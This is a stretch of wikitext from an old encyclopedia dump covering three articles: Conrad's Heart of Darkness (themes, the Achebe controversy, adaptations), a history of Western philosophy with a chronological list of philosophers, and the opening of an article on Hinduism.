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'''''Heart of Darkness''''' is a [[novella]] (published [[1902]]) by [[Joseph Conrad]]. Before publication, it appeared in a three-part series in ''[[Blackwood's Magazine]]'' (1899).  This highly [[symbol]]ic [[story]] is actually a story within a story, or [[frame tale]], narrated by a man named [[Marlow]] to a group of men on a ship at dusk and on into the evening. It details an incident earlier in Marlow's life, a visit up what we can assume is the [[Congo River]] (although the name of the country Marlow is visiting is never specified in the text) to investigate the work of [[Kurtz (Heart of Darkness)|Kurtz]], a [[Belgium|Belgian]] trader in [[ivory]] in the [[Congo Free State]]. 

The [[story within a story]] [[literary device|device]] actually descends three levels: Conrad writes the story we read, which is the account of an unnamed narrator relating Marlow's yarn of his journey down the Congo river to meet and examine the [[protagonist|central character]] Kurtz. ([[Emily Brontë]]'s ''[[Wuthering Heights]]'' and [[Mary Shelley]]'s ''[[Frankenstein]]'' used a similar device, but the most influential example remains [[Don Quixote]] by [[Miguel de Cervantes]])

==Background==
To write ''Heart of Darkness'', Conrad drew heavily from his own experience in the Congo.  Eight years before he wrote the book, he served as a sea captain for a Congo steamer.  On a single trip up the river, he had witnessed so many atrocities that he quit on the spot.  

Conrad's experiences in the Congo and the historical background to the story, including possible models for Kurtz, are recounted in the historical work, ''[[King Leopold's Ghost]]'' by [[Adam Hochschild]].

==Themes==
The theme of &quot;[[darkness]]&quot; from the title recurs throughout the book. It is used to reflect the unknown (as [[Africa]] at the time was often called the &quot;Dark Continent&quot; by [[Europeans]]), the concept of the &quot;darkness of [[barbarian|barbarism]]&quot; contrasted with the &quot;light of [[civilization]]&quot; (see [[white man's burden]]), and the &quot;[[spirituality|spiritual]] darkness&quot; of several [[fictional character|characters]]. This sense of darkness also lends itself to a related theme of [[obscurity]] - again, in various senses, reflecting the ambiguities in the work. [[morality|Moral]] issues are not clear-cut; that which ought to be (in various senses) on the side of &quot;light&quot; is in fact mired in darkness, and so forth. 

To emphasize the theme of darkness within ourselves, Marlow's narration takes place on a [[yacht]] in the [[Thames]] [[tidal estuary]]. Early in the novella, the narrator recounts how [[London]], the largest, most populous and wealthiest city in the world, where Conrad wrote and where a large part of his audience lived, was itself in [[Ancient Rome|Roman]] times a dark part of the world much like the Congo then was. The theme of darkness lurking beneath the surface of even &quot;civilized&quot; persons is further explored through the character of Kurtz and through Marlow's passing sense of understanding with the Africans. Like Marlow himself, the astute reader emerges from the tale with an expanded comprehension of the darkness within his own mind. 

In the opening passages of the novel, Conrad repeatedly describes [[London]] in terms of its darkness and &quot;gloom,&quot; and later describes [[Belgium]] as a dark place. This could suggest that [[Conrad]] is critical of the supposedly enlightening civilisation that is colonising [[Africa]] and that [[London]] itself is the &quot;Heart of Darkness&quot;.

[[Theme (literary)|Theme]]s developed in the novella's more superficial levels include the naïveté of Europeans—particularly [[women]]—regarding the various forms of darkness in the Congo; the Belgian [[colonialist]]s' abuse of the [[Indigenous people|natives]]; and man's potential for [[two-facedness]].  The symbolic levels of the book expand on all of these in terms of a struggle between [[Goodness and value theory|good]] and [[evil]], not so much between [[person|people]] as within every [[major character]]'s [[soul]].

Through the novel, Conrad stresses the importance of restraint. Restraint in his view, is a person’s “primitive honour” against his or her basic impulses. From the perspective of existentialism, people who do not have restraint will be trapped in the destructive cycle and their lives will be absurd and insane. Having restraint can save them from the cycle and keep them sane.

==Controversy==
Some literary critics, most notably author and professor [[Chinua Achebe]], have criticized Conrad for having a racist bias throughout the novella despite the book's intentions to expose the atrocities in the Congo.  In particular, critics have objected to the depiction of Africans as primitive, irrational people and of Africa itself as a savage, dark continent.  First appearances of controversy over ''Heart of Darkness'' appear in Achebe's 1975 lecture &quot;An Image of Africa: Racism in Conrad's ''Heart of Darkness''.&quot;[http://www.erinyes.org/hod/image.of.africa.html]  According to Achebe, his opinions were met with dismay and outrage from some peers: &quot;After I delivered my lecture at Harvard, a professor emeritus from the University of Massachusetts said, 'How dare you? How dare you upset everything we have taught, everything we teach? ''Heart of Darkness'' is the most widely taught text in the university in this country. So how dare you say it’s different?&quot; [http://www.failuremag.com/arch_history_chinua_achebe.html] 
Despite the alleged racist overtones, ''Heart of Darkness'' is considered to be a literary classic and is widely read in educational institutions around the world.

==In the arts==
* [[1972]] -- ''[[Aguirre: The Wrath of God]]'', a [[German film]] directed by [[Werner Herzog]], is remarkably similar to Conrad's [[novella]] -- like Conrad's book, it mocks European [[colonialism]] and mimicks the trip in to the jungle with the [[madness]] and depravity of the characters increasing the deeper they go in to the wilderness.
* [[1979]] -- [[John Milius]]  based his script for ''[[Apocalypse Now]]'' on the novel. It was filmed by [[Francis Ford Coppola]].
* [[1993]] -- [[Nicholas Roeg]] filmed ''[[Heart of Darkness (film)|Heart of Darkness]]'' for television with [[Tim Roth]] as Marlow and [[John Malkovich]] as Kurtz.  
* [[1993]] -- [[Animaniacs]] parodied both ''[[Apocalypse Now]]'' and ''Heart of Darkness'' in a segment in episode 20 called ''Hearts of Twilight.''
* [[2004]] -- [[Dead Ringers]] parodied [[John Kerry]]'s campaign in the 2004 US Presidential Election using a &quot;Apocalyse Now&quot; / &quot;Heart of Darkness&quot; setting. 
* [[2005]] -- [[King Kong (2005 film)|King Kong]] has many references to ''Heart of Darkness'', including a scene where Jimmy holds a copy of the book and says “It’s not an adventure story, is it?”, suggesting that Conrad meant to explore human cruelty towards others as much as he meant to explore the Belgian Congo—and thus also the film is more than an adventure story but also explores the human will to exploit others. [http://www.bookslut.com/features/2006_01_007452.php]

=== See also ===
* [[1912]] - ''The Sea and the Jungle'' by [[H. M. Tomlinson]], a non-fiction travel narrative classic, Tomlinson recounts the first English &quot;tramp steamer&quot; to traverse the Amazon river in 1905, it contains many of the same themes as ''Heart of Darkness''.
* [[1991]] - ''[[Hearts of Darkness: A Filmmaker's Apocalypse]]'', a documentary about the making of the film ''Apocalypse Now''
* [[1993]] - ''[[Headhunter (book)|Headhunter]]'', a novel by [[Timothy Findley]] which recasts Kurtz and Marlow as [[psychiatrist]]s in an [[apocalypse|apocalyptic]] version of [[Toronto, Ontario|Toronto]]
* [[2003]] - ''[[Shatterpoint]]'', a [[Star Wars]] book that was heavily influenced by ''Heart of Darkness/[[Apocalypse Now]]''.
* [[2005]] - ''[[The First Casualty]]'', a novel by [[Ben Elton]], follows the same storyline where a British police detective investigates a crime in the midst of the [[First World War]], and gradually becomes painfully acquainted with the horrors of war.  He is given the false name of Christopher Marlowe (cf Charlie Marlow), and he makes references to the [[Belgian]] colonisation of the [[Congo]].

== External links ==
{{Wikisource}}
{{wikiquotepar|Joseph Conrad}}
* [http://www.sparknotes.com/lit/heart/ Heart of Darkness] from [[Spark Notes]]
* {{gutenberg|no=526|name=Heart of Darkness}}
* [http://www.pagebypagebooks.com/Joseph_Conrad/Heart_of_Darkness/ Heart of Darkness, by Joseph Conrad] at Page By Page Books.
* [http://www.online-literature.com/conrad/heart_of_darkness/ Heart of Darkness by Joseph Conrad: A searchable online version at The Literature Network]

[[Category:1902 books]]

[[Category:English novels]]
[[Category:Modern Library 100 best novels]]

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:''For the book by [[Bertrand Russell]], see [[History of Western Philosophy (Russell)]]''

The usefulness of dividing philosophy into Western philosophy and other philosophies is open to challenge, not the least for speaking down to those other philosophies. To say this is not to deny that there are important traditions in philosophy that are intimately bound up with historical and geographical circumstances.   

[[Philosophy]] has a long history conventionally divided into three large eras: the Ancient, Medieval and Modern. The Ancient era runs through the fall of Rome and includes the Greek philosophers such as [[Plato]]. The Medieval period runs until roughly the late [[1400s]] and the [[Renaissance]]. The &quot;Modern&quot; is a word with more varied use, which includes everything from the late [[16th century]] through the specific period of the early [[20th century]]. Contemporary philosophy encompasses the philosophical developments of the [[20th century]] up to the present day.

== Brief timeline ==

=== Ancient philosophy ===

Philosophy is generally said to begin in the Greek cities of western Asia Minor (Ionia) with [[Thales]] of Miletus, who was active around 585 B.C. and left us the opaque dictum, &quot;All is water.&quot;  His most noted students were [[Anaximander]] and [[Anaximenes of Miletus]] (&quot;All is air&quot;).  

Other thinkers and schools appeared throughout Greece over the next couple of centuries.  Among the most important were:

* [[Heraclitus]], who stressed the transitory and chaotic nature of all things (&quot;All is fire&quot;; &quot;We cannot step into the same river twice&quot;). 
* [[Anaxagoras]], who asserted that reality was so ordered that it must be in all respects governed by Mind.
* The [[Pluralists]] and [[Atomists]] ([[Empedocles]], [[Democritus]]) who tried to understand the world as composite of innumerable interacting parts; and the [[Eleatic School|Eleatics]] [[Parmenides]] and [[Zeno of Elea|Zeno]] who both insisted that All is One and change is impossible.  Parmenides and his school emphasized the enduring, perduring, and absolute character of the world and of truth. (&quot;To be is, to not be is not.&quot;) 
* The [[Sophistry|Sophists]], traveling professional teachers of varied philosophical affinity, became known (perhaps unjustly) for claiming that truth was no more than opinion and for teaching people to argue fallaciously to prove whatever conclusions they wished.

This whole movement gradually became more concentrated in [[Athens]], which had become the dominant city-state in [[Greece]].  

There is considerable discussion about why [[Athenian culture]] encouraged philosophy, but one popular theory says that it occurred because Athens had a direct [[democracy]].  It's known from Plato's writings that many sophists maintained schools of debate, were respected members of society, and were well paid by their students.  It's also well known that orators had tremendous influence on Athenian history, possibly even causing its failure (See [[Battle of Miletus]]). One other theory for the popularity of philosophical debate in Athens was due to the use of slavery there - the workforce, mainly slaves, performed the labour that otherwise would have been taken up by the male population of the city. Freed from working in the fields or in productive activity, they were then free to engage in the assemblies of Athens, and spend long hours discussing popular philosophical questions. The theory fills in the blanks by saying that the Sophists' students wanted to acquire the skills of an orator in order to influence the [[Athenian Assembly]], and thereby grow wealthy and respected.  Since winning debates led to wealth, the subjects and methods of debate became highly developed. 

The key figure in transforming Greek philosophy into a unified and continuous project - the one still being pursued today - is [[Socrates]], who studied under several Sophists. He then spent much of his life, we are told, engaging everyone in Athens in discussion trying to determine whether anyone had a very good idea what they were talking about, especially when they talked about important matters like justice, beauty and truth.  He wrote nothing, but inspired many disciples.  In his old age he became the focus of the hostility of many in the city who saw philosophy and sophistry, interchangeably, as destroying the piety and moral fiber of the city; he was executed in 399 B.C.

[[Image:schoolofathens.jpg|thumbnail|right|250px|Raphael's ''The School of Athens'' (1509) with Plato and Aristotle in the centre.]]

His most important student was [[Plato]], who wrote a number of philosophical dialogues using his master's methods of inquiry to examine problems.  The early dialogues demonstrate something like Socrates' own fairly inconclusive style of inquiry.  The &quot;middle&quot; ones develop a substantive metaphysical and ethical system to resolve these problems.  Central ideas are the [[The_Forms|Theory of Forms]], that the mind is imbued with an innate capacity to understand and apply concepts to the world, and that these concepts are in a significant way more real, or more basically real, than the things of the world around us; the immortality of the soul, and the idea that it too is more important than the body; the idea that evil is a kind of ignorance, that only knowledge can lead to virtue, that art should be subordinate to moral purposes, and that society should be ruled by a class of philosopher kings.  In the later dialogues Socrates figures less prominently, and the Theory of Forms is cast in doubt; more directly ethical questions become the focus. Interestingly, in his most famous work, ''[[Plato's Republic|The Republic]]'' Plato attacks the system of democracy, blaming it for the defeat of Athens in the [[Peloponnesian War]] - he attributes the indecision of the masses (who voted on everything, including military strategy) as the reason for military defeat. He proposed instead a three tiered structure of society, with workers, guardians and philosophers, in ascending order of importance (convenient for him and his disciples, clearly), citing the philosophers' greater knowledge of the forms as the reason for them being more appropriate in running society. 

Plato founded the [[Academy]] of Athens, and his most outstanding student there was [[Aristotle]]. Possibly Aristotle's most important and long-lasting work was his formalization of [[logic]]. It appears that Aristotle was the first philosopher to categorize every valid [[syllogism]]. A syllogism is a form of argument that is guaranteed to be accepted, because it is known (by all educated persons) to be [[validity|valid]].  A crucial assumption in Aristotelian logic is that it has to be about real objects.  Two of Aristotle's syllogisms are invalid to modern eyes.  For example, &quot;All A are B.  All A are C.  Therefore, some B are C.&quot;  This syllogism fails if set A is empty.

=== Medieval philosophy ===

Medieval philosophy was greatly concerned with the nature of God, and the application of [[Aristotle]]'s [[term logic | logic]] and thought to every area of life.

If God exists at all, surely He is the most important feature of the universe, and therefore worthy of study.  One continuing interest in this time was to prove the existence of God, through logic alone, if possible.

One early effort was the ''cosmological argument'', conventionally attributed to [[Thomas Aquinas]].  The argument roughly, is that everything that exists has a cause. Therefore, there must be an uncaused first cause, and this is God.  Aquinas also adapted this argument to prove the goodness of God.  Everything has some goodness, and the cause of each thing is better than the thing caused.  Therefore, the first cause is the best possible thing.  Similar arguments are used to prove God's power and uniqueness.

Another important argument proof of the existence of God was the ''Ontological Argument'', advanced by [[St. Anselm]]. Basically, it says that God has all possible good features.  Existence is good, and therefore God has it, and therefore God exists. This argument has been used in different forms by philosophers from Descartes forward.

The application of Aristotelian [[logic]] proceeded by having the student memorize a rather large set of syllogisms.  The memorization proceeded from diagrams, or learning a key sentence, with the first letter of each word reminding the student of the names of the syllogisms.

Each syllogism had a name, for example &quot;Modus Ponens&quot; had the form of &quot;If A is true, then B is true.  A is true, therefore B is true.&quot;

Most university students of logic memorized Aristotle's 19 syllogisms of two subjects, permitting them to validly connect a subject and object.  A few geniuses developed systems with three subjects, or described a way of elaborating the rules of three subjects.  

As well as Aquinas, other important names from the medieval period include [[Duns Scotus]] and [[Pierre Abélard]].

=== Modern philosophy ===

As with many periodizations, there are multiple current usages for the term &quot;Modern Philosophy&quot; that exist in practice. One usage is to date modern philosophy from the &quot;Age of Reason&quot;, where systematic philosophy became common, which excludes Erasmus and Machiavelli as, &quot;modern philosophers&quot;. Another is to date it, the way the entire larger modern period is dated, from the [[Renaissance]]. In some usages, &quot;Modern Philosophy&quot; ended in 1800, with the rise of Hegelianism and Idealism. There is also the [[lumpers/splitters]] problem, namely that some works split philosophy into more periods than others: one author might feel a strong need to differentiate between &quot;The Age of Reason&quot; or &quot;Early Modern Philosophers&quot; and &quot;The Enlightenment&quot;, another author might write from the perspective that 1600-1800 is essentially one continuous evolution, and therefore a single period. Wikipedia's philosophy section therefore hews more closely to centuries as a means of avoiding long discussions over periods, but it is important to note the variety of practice that occurs.

A broad overview would then have [[Erasmus]], [[Francis Bacon (philosopher)|Francis Bacon]], [[Niccolò Machiavelli]], and [[Galileo Galilei]] represent the rise of empiricism and humanism in place of scholastic tradition. [[17th-century philosophy]] is dominated by the need to organize philosophy on rational, skeptical, logical and axiomatic grounds, such as the work of [[René Descartes]], [[Blaise Pascal]] and [[Thomas Hobbes]], attempting to integrate religious belief into philosophical frameworks, and, often to combat atheism or other unbelief, by adopting the idea of material reality, and the [[dualism]] between spirit and material. The extension, and reaction, against this would be the monism of [[George Berkeley]] and [[Benedict de Spinoza]].

The [[18th-century philosophy]] article deals with the period often called the early part of &quot;The Enlightenment&quot; in the shorter form of the word, and centers around the rise of systematic empiricism, following after [[Sir Isaac Newton]]'s natural philosophy. Thus [[Diderot]], [[Voltaire]], [[Rousseau]] and culminating with [[Kant]] and the political philosophy of the [[American Revolution]] are part of [[The Enlightenment]].

The 19th century took the radical notions of self-organization and intrinsic order from Goethe and Kantian metaphysics, and proceeded to produce a long elaboration on the tension between systematization and organic development. Foremost was the work of [[Hegel]], whose ''Logic'' and ''Phenomenology of Spirit'' produced a &quot;dialectical&quot; framework for ordering of knowledge. The 19th century would also include [[Arthur Schopenhauer|Schopenhauer]]'s negation of the will. As with the 18th century, it would be developments in science that would arise from, and then challenge, philosophy: most importantly the work of [[Charles Darwin]], which was based on the idea of organic self-regulation found in philosophers such as [[Adam Smith]], but fundamentally challenged established conceptions.

=== Contemporary philosophy ===

The 20th Century deals with the upheavals produced by a series of conflicts within philosophical discourse over the basis of knowledge, with classical certainties overthrown, and new social, economic, scientific and logical problems. 20th Century philosophy was set for a series of attempts to reform and preserve, and to alter or abolish, older knowledge systems. Seminal figures include [[Søren Kierkegaard]], [[Sigmund Freud]], [[Friedrich Nietzsche]], [[Ernst Mach]], [[John Dewey]]. Epistemology and its basis was a central concern, as seen from the work of [[Martin Heidegger]], [[Karl Popper]], [[Claude Lévi-Strauss]], [[Bertrand Russell]] and [[Ludwig Wittgenstein]]. Phenomenologically oriented metaphysics undergirded [[existentialism]] ([[Jean-Paul Sartre]], [[Simone de Beauvoir]], [[Karl Jaspers]], [[Albert Camus]]) and finally [[postmodern philosophy]] ([[Jean-François Lyotard]], [[Michel Foucault]], [[Jacques Derrida]]). Also notable was the rise of &quot;pop&quot; philosophers who promulgated systems for dealing with the world, including [[Ayn Rand]], [[C. S. Lewis]] and others.

=== Chronological list of important philosophers ===

''See also:'' [[list of philosophers]] for a more comprehensive list of philosophers.

* [[Thales]] (620-546 BC), traditionally the first Presocratic philosopher.
* [[Anaximander]] (610-540 BC), Ionic Presocratic, the first to write a philosophical treatise (in historical record).
* [[Anaximenes of Miletus|Anaximenes]] (fl. 6th cent. BC), Ionic Presocratic, possibly a pupil of Anaximander.
* [[Heraclitus]] (540-480 BC), Presocratic philosopher. Credited with the maxim that &quot;one cannot step in the same river twice&quot;. All of existence is always in flux.
* [[Pythagoras]] (570-497 BC), philosopher-mathematician based in Italy. Invented Pythagorean theorem.
* [[Theano]] (fl. 6th cent. BC), female philosopher, pupil of Pythagoras and later his wife.
* [[Xenophanes]] (570-475 BC), Presocratic philosopher-poet pre-empting the Eleatic school.
* [[Parmenides]] (510-440 BC), Eleatic philosopher of ontology.
* [[Anaxagoras]] (500-428 BC), Presocratic, the first philosopher known to have been based in Athens.
* [[Diogenes Apolloniates]] (fl. 5th cent. BC), Ionian Presocratic philosopher.
* [[Empedocles]] (493-433 BC), Presocratic philosopher and cosmologist.
* [[Zeno of Elea]] (fl. 5th cent. BC), Eleatic philosopher famous for his paradoxes of motion.
* [[Leucippus]] (fl. 5th cent. BC), Presocratic philosopher, founder of atomism.
* [[Protagoras]] (485-415 BC), Sophist known for his relativism.
* [[Hippias]] (485-415 BC), Sophist.
* [[Gorgias]] (483-376 BC), Sophist and teacher of rhetoric. The first nihilist.
* [[Antiphon (person)|Antiphon]] (480-411 BC), Orator and [[Sophist]] (if these two are in fact the same person), fragments of whose treatise ''On Truth'' were discovered at Oxyrhynchus.  
* [[Aspasia]] (fl. 5th cent. BC), female philosopher and rhetorician, companion of Socrates.
* [[Socrates]] (469-399 BC), Athenian philosopher. Put to death on charges of corrupting the youth.
* [[Prodicus]] (fl. 5th cent. BC), Sophist contemporary with Socrates.
* [[Democritus]] (460-370 BC), famous atomic philosopher.
* [[Euclid of Megara]] (450-380 BC), associate of Socrates and founder of the Megarian school.
* [[Antisthenes]] (445-360 BC), companion of Socrates, often associated with the later Cynic movement.
* [[Aristippus]] (435-356 BC), companion of Socrates, traditionally the founder of the Cyrenaic school devoted to hedonism.
* [[Plato]] (429-347 BC), younger associate of Socrates, founder of the Academy, teacher of Aristotle.
* [[Xenophon]] (427-355 BC), historian and philosophical author, famous for his accounts of Socrates.
* [[Speusippus]] (407-339 BC), pupil of Plato who succeeded him as second head of the Academy.
* [[Diogenes of Sinope]] (400-325 BC), Cynic philosopher.
* [[Xenocrates]] (396-314 BC), follower of Plato and third head of the Academy.  
* [[Aristotle]] (384-322 BC), pupil of Plato, founder of the Lyceum and the Peripatetic tradition.
* [[Arete of Cyrene]] (fl. 4th cent. BC), daughter of Aristippus and his successor as head of the Cyrenaic school.
* [[Stilpo]] (380-300 BC), Megarian philosopher, influenced by Cynicism and an influence on Stoicism.
* [[Theophrastus]] (370-288 BC), pupil of Aristotle and his successor as head of the Lyceum.
* [[Pyrrho]] (365-275 BC), founder of the sceptical philosophy named after him.
* [[Epicurus]] (341-270 BC), atomist and hedonist philosopher, founder of school named after him.
* [[Zeno of Citium]] (335-263 BC), founder of the Stoic school.
* [[Cleanthes]] (331-232 BC), second head of the Stoic school.
* [[Aristo]] (fl. 3rd cent. BC), Stoic philosopher, a pupil of Zeno, focused primarily on ethics.
* [[Timon (philosopher)|Timon]] (320-230 BC), sceptical philosopher, pupil of Pyrrho.
* [[Arcesilaus]] (316-242 BC), head of Plato's Academy, perhaps responsible for its turn towards scepticism.
* [[Menippus]] (fl. 250 BC), Cynic philosopher and famous as a satirist.
* [[Chrysippus]] (280-207 BC), third (and probably most important) head of the Stoic school.
* [[Diogenes of Babylon]] (240-152 BC), Stoic philosopher, member of the famous embassy of philosophers to Rome.
* [[Carneades]] (214-129 BC), head of the Academy and founder of the 'New Academy', member of the famous embassy of philosophers to Rome.
* [[Panaetius]] (185-109 BC), Stoic philosopher with eclectic tendencies, pupil of Diogenes of Babylon and Antipater, influence upon Cicero.
* [[Philo of Larissa]] (160-80 BC), head of the Academy, teacher of Cicero.
* [[Zeno of Sidon]] (150-70  BC), Epicurean philosopher.
* [[Posidonius]] (135-51  BC), Stoic philosopher and historian, often characterised as an eclectic representative of the 'Middle Stoa'.  
* [[Antiochus of Ascalon]] (130-68 BC), pupil of Philo of Larissa, head of the Academy turning it away from the scepticism of the 'New Academy' and back to the 'Old Academy'. An important influence upon Cicero.
* [[Philodemus]] (110-40 BC), Epicurean philosopher, many of whose works were buried at Herculaneum.  
* [[Cicero]] (106-43 BC), Roman philosophical author.
* [[Aenesidemus]] (fl. 1st cent. BC), sceptical philosopher who attempted to revive Pyrrhonism.
* [[Lucretius]] (94-55 BC), Epicurean philosopher-poet. Atomist.
* [[Philo of Alexandria]] (30 BC - 45 AD), Jewish Hellenistic philosopher and prolific author based in Alexandria.
* [[Seneca the Younger|Seneca]] (4 BC - 65 AD), Latin Stoic author, onetime tutor to the Emperor Nero.
* [[Musonius Rufus]] (30-100 AD), Stoic philosopher-preacher.
* [[Plutarch]] (45-120 AD), biographer and author of an important collection of philosophical essays, the Moralia.
* [[Epictetus]] (55-135 AD), Stoic philosopher, pupil of Musonius Rufus and founder of a school in Nicopolis.
* [[Demonax]] (fl. 2nd cent. AD), Cynic philosopher, pupil of Epictetus.
* [[Diogenes of Oenoanda]] (fl. 2nd cent. AD), author of Epicurean inscription at Oenoanda.
* [[Alcinous]] (fl. 2nd cent. AD), Platonist and author of the Handbook of Platonism.
* [[Marcus Aurelius]] (121-180 AD), Roman Emperor and Stoic philosopher.
* [[Galen of Pergamum]] (129-199 AD), philosopher-doctor influenced by Platonism. Physician to Marcus Aurelius. Prolific author.
* [[Clement of Alexandria]] (150-215 AD), Christian Church Father. Heavily influenced by Greek philosophy.
* [[Sextus Empiricus]] (fl. 200 AD), sceptical philosopher and author.
* [[Alexander of Aphrodisias]] (fl. 200 AD), Aristotelian commentator.
* [[Julia Domna]] (170-217 AD), female philosopher and wife of the Emperor Septimius Severus. Included Galen and Philostratus in her philosophical circle.
* [[Diogenes Laertius]] (fl. 3rd cent. AD), famous biographer of ancient philosophers.
* [[Plotinus]] (205-270 AD), Platonic philosopher and founder of Neoplatonism.
* [[Porphyry (philosopher)|Porphyry]] (233-309 AD), Neoplatonist, pupil and biographer of Plotinus.  
* [[Iamblichus (philosopher)|Iamblichus]] (242-327 AD), important Neoplatonic philosopher.
* [[Calcidius]] (fl. 4th cent. AD), Platonist and author of an important Latin translation and commentary on the Timaeus.
* [[Themistius]] (317-388 AD), Aristotelian commentator based in Constantinople.
* [[Augustine of Hippo]] (354-430 AD), Christian philosopher and Church father, influenced by Neoplatonism.
* [[Hypatia]] (370-415 AD), famous female Neoplatonist and mathematician. Based in Alexandria. Murdered by a Christian mob.  
* [[Proclus]] (411-485 AD), Athenian Neoplatonist and head of the Academy.  
* [[Ammonius]] (440-521 AD), Alexandrian Neoplatonist, a pupil of Proclus and teacher of Damascius and Simplicius.
* [[Damascius]] (462-540 AD), Neoplatonist and head of the Athenian school.
* [[Anicius Manlius Severinus Boethius|Boethius]] (475-524 AD), Latin Neoplatonist and translator of Aristotle.   
* [[Simplicius of Cilicia]] (490-560 AD), Aristotelian commentator, pupil of Damascius.  
* [[John Philoponus]] (490-570 AD), Christian Aristotelian commentator based in Alexandria; pupil of Ammonius.
* [[Johannes Scotus Eriugena]] (810-877 AD) Also called &quot;John the Scot&quot;.
* [[Anselm of Canterbury|Anselm]] (11th century) Posed the ontological argument for the existence of God.
* [[Pierre Abélard]] (1079-1142 AD) Aristotelian (nominalist) and logician. Lived a great love story similar to Romeo and Juliet.
* [[Roger Bacon]] (1220-1292 AD) He believed there could and should be a unified science based on observation, experiment and abstract reasoning.
* [[Thomas Aquinas]] (1224-1274 AD) Tried to merge the already Platonized Christianity with the philosophy of Aristotle maintaining a distinction between philosophy and religion.
* [[Duns Scotus]] (1266-1308 AD) Franciscan theologian. Was a critic of Thomas Aquinas.
* [[William of Ockham]] (1285-1347 AD) Observed that nature and reason can only provide us with reliable knowledge about the world; famous for his principle of accepting the simplest of alternatives as the best one (Ockham's Razor).
* [[Copernicus]] (1473-1543 AD) Polish churchman who hypothesized that many mathematical difficulties of the time would disappear if we assumed sun was at the center of our planetary system instead of earth (and flatly contradicting the [[Bible]]).
* [[Niccolò Machiavelli]] (1469-1527 AD) Studied politics and government in an objective (scientific) manner.
* [[Tycho Brahe]] (1546-1601 AD) Astronomer. Made a vast body of measured astronomical observations, which he passed on to [[Johannes Kepler]].
* [[Francis Bacon]] (1561-1626 AD) Believed that scientific knowledge could give power of man over nature.  He also believed that the notion that definitions advance knowledge was an illusion.
* [[Galileo Galilei]] (1564-1642 AD) Widely considered to be founding father of modern science with study of projectiles, pendulum, gravity.   Invented the thermometer.  Asserted that earth revolves around its axis.
* [[Johannes Kepler]] (1571-1630 AD) Studied theology but he showed that planets move in elliptical motion around the sun (not circular as previously thought by [[Copernicus]]).
* [[Thomas Hobbes]] (1588-1679 AD) Believed that only matter existed, everything could be explained in terms of matter in motion.  The whole universe he considered a giant machine.  In politics he claimed it is the fear of death that forces humans to form societies. Proposed that everyone should agree to hand power to a central authority, the Sovereign, whose job is to impose law and punish lawbreakers (police state).
* [[Pierre Gassendi]] (1592-1655 AD) An advocate of the experimental approach to science.
* [[René Descartes]] (1596-1650 AD) Metaphysical dualist. Invented analytic [[geometry]], the [[graph]], and Cartesian coordinate system. Often thought to be the first &quot;early modern&quot; philosopher. Famous for a doggedly skeptical methodology which began by wondering whether there was something that we could know for certain.  Famous for his conclusion, &quot;I think therefore I am&quot;.
* [[John Locke]] (1632-1704 AD) Classical empiricist. Famous for his division between primary and secondary qualities. Secularized the notion that there are limits to what humans can apprehend by arguing (in his &quot;Essays concerning Human Understanding&quot;) that if we could analyze our own mental faculties and find out what we are capable of and what not we should have discovered the limits of what is knowable by us.  He never married.
* [[Benedict Spinoza]] (1632-1677 AD) Believed that physical body and soul is one entity.  Believed that for the most part we are not aware of the real causes of our actions.  Being deprived of freedom of speech himself he was from the first to proclaim its importance.
* [[Isaac Newton]] (1642-1727 AD) Accurately analyzed the constituents of light, invented [[calculus]], formulated the gravitational theory in physics, and provided an accurate account of movements of [[planets]] through space.
* [[Gottfried Leibniz]] (1646-1716 AD) Rationalist. Invented [[calculus]] independently of Newton. Was offered professorship at 21 which he turned down.  Claimed that truths belong in two categories: ones that can be verified with just examining them with logical statements, and the ones that need further observation and application of logic.
* [[George Berkeley]] (1685-1753 AD) Classical empiricist. Believed all that exists is the mind and its ideas.
* [[Voltaire]] (1694-1778 AD) Writer and satirist. Crusader against tyranny, bigotry and cruelty.  He subscribed to Locke's idea that the confidence we have in our beliefs needs to relate to the evidence in their support.
* [[David Hume]] (1711-1776 AD) Classical empiricist. Believed that the self consists of continuous conscious sensation. Advocated a political-philosophical outlook that emphasized public utility in a state's legitimacy.
* [[Jean-Jacques Rousseau]] (1712-1778 AD) Democratic political philosopher. Advocate of a theory of the &quot;general will&quot;. Argued against the position that civilization was a good thing.
* [[Denis Diderot]] (1713-1784 AD) As author and editor of the [[Encyclopédie]] he admitted that his aim was to change the common way of thinking. 
* [[Adam Smith]] (1723-1790 AD) Economist and philosopher.
* [[Edmund Burke]] (1729-1797 AD) Conservate political philosopher. Believed that the wisdom and experience of many generations is likely to be a more reliable guide to action than any one person's opinion.

== See also ==

* [[List of philosophers]]
* [[Philosophy]]

{{Philosophy navigation}}

[[Category:History of philosophy]]

[[nl:Geschiedenis van de filosofie]]
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    <title>Hinduism</title>
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      <comment>/* Practice (Yoga Dharma) */</comment>
      <text xml:space="preserve">:''This article is about the Hindu religion; for other meanings of the word, see [[Hindu (disambiguation)]].
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'''Hinduism''' ([[Sanskrit]]/[[Hindi]]: '''{{lang|hi|हिन्दु धर्म}}'''; also known as ''Sanatana Dharma'' - {{lang|hi|सनातन धर्म}}, and ''Vaidika Dharma'' - {{lang|hi|वैदिक धर्म}}) is a worldwide religious tradition that is based on the [[Veda|Vedas]], and is generally regarded as one of the oldest religions still practiced in the world. The term Hinduism is an amorphous concept as Hinduism consists of several schools of thought. [[Hinduism]] evolved from a [[monolithic]] religion into a multitude of traditions over a period of last 4000 years. It encompasses many religious rituals that widely vary in practice, as well as many diverse sects and philosophies. An array of deities, all manifestations of the one Supreme [[monistic]] [[Brahman]], are venerated.  It is the third largest [[religion]] in the world, with a following of approximately 1 billion people. Ninety-eight percent of Hindus can be found on the [[Indian subcontinent]], chiefly in [[India]]. It is noteworthy however that the relatively small Himalayan kingdom of [[Nepal]] is the only nation in the world with Hinduism as its state religion.

See [[Hindu]] for more about a Hindu and different communities of Hindus. 

== Core Concepts == 
The Hindu faiths, practices and philosophies have evolved from the '''Vedic tradition''' (''Vaidika parampar{{Unicode|ā}}''), with elements from Buddhism, Jainism and other non-Vedic faiths of India.
===The Eternal Way ===
